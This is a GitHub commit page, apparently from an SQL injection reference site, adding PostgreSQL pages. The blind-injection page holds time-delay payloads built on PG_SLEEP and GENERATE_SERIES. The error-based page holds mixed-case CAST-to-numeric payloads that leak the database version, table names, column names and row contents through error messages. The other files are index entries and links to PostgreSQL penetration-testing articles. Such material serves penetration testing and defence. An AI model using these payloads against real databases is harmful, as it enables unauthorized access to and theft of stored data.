Skip to content

Commit 706de36

Browse files
committed
added postgres injection techniques
added postgres injection techniques
1 parent dc0d9f6 commit 706de36

6 files changed

Lines changed: 64 additions & 0 deletions

File tree

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
<h3 id="blind-injection">Blind Injection</h3>
2+
3+
<p class="pageDescription">{{site.data.injectionDescriptions.blindBased}}</p>
4+
5+
<h4 class="subheading">Partial-Blind</h4>
6+
7+
<p>Partial-blind injections can be determined by differing HTTP status codes, response times, content-lengths, and HTML contents in the HTTP response. These markers can indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed
8+
information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).</p>
9+
<table class="table table-striped table-hover">
10+
<thead>
11+
<tr>
12+
<th>Description</th>
13+
<th>Query</th>
14+
</tr>
15+
</thead>
16+
<tbody>
17+
<tr>
18+
<td>AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</td>
19+
</tr>
20+
<tr>
21+
<td>AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))</td>
22+
</tr>
23+
</tbody>
24+
</table>

injectionTypes/blindBased/index.html

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,4 +13,7 @@
1313
- title: SQL Server
1414
shortName: sqlserver
1515
fileName: sqlserver.html
16+
- title: PostgreSQL
17+
shortName: PostgreSQL
18+
fileName: PostgreSQL.html
1619
---
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
<h3 id="error-based">Error Based</h3>
2+
3+
<p class="pageDescription">{{site.data.injectionDescriptions.errorBased}}</p>
4+
5+
<table class="table table-striped table-hover">
6+
<thead>
7+
<tr>
8+
<th>Description</th>
9+
<th align="left">Query</th>
10+
</tr>
11+
</thead>
12+
<tbody>
13+
<tr>
14+
<td>Explicit conversion</td>
15+
<td>,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)</td>
16+
<td>,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--</td>
17+
<td>,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--</td>
18+
<td>,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)</td>
19+
</tr>
20+
<tr>
21+
<td>Implicit conversion</td>
22+
<td>TBD</td>
23+
</tr>
24+
</tbody>
25+
</table>

injectionTypes/errorBased/index.html

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,4 +13,7 @@
1313
- title: SQL Server
1414
shortName: sqlserver
1515
fileName: sqlserver.html
16+
- title: PostgreSQL
17+
shortName: PostgreSQL
18+
fileName: PostgreSQL.html
1619
---

misc/references/PostgreSQL.html

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<h3 id="special-thanks-to">Special thanks to:</h3>
2+
3+
<p>
4+
<a target="_blank" rel="noopener" href="https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5">https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5</a> <br/>
5+
<a target="_blank" rel="noopener" href="https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9">https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9</a> <br/>
6+
</p>

misc/references/index.html

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,4 +13,7 @@
1313
- title: SQL Server
1414
shortName: sqlserver
1515
fileName: sqlserver.html
16+
- title: PostgreSQL
17+
shortName: PostgreSQL
18+
fileName: PostgreSQL.html
1619
---

0 commit comments

Comments
 (0)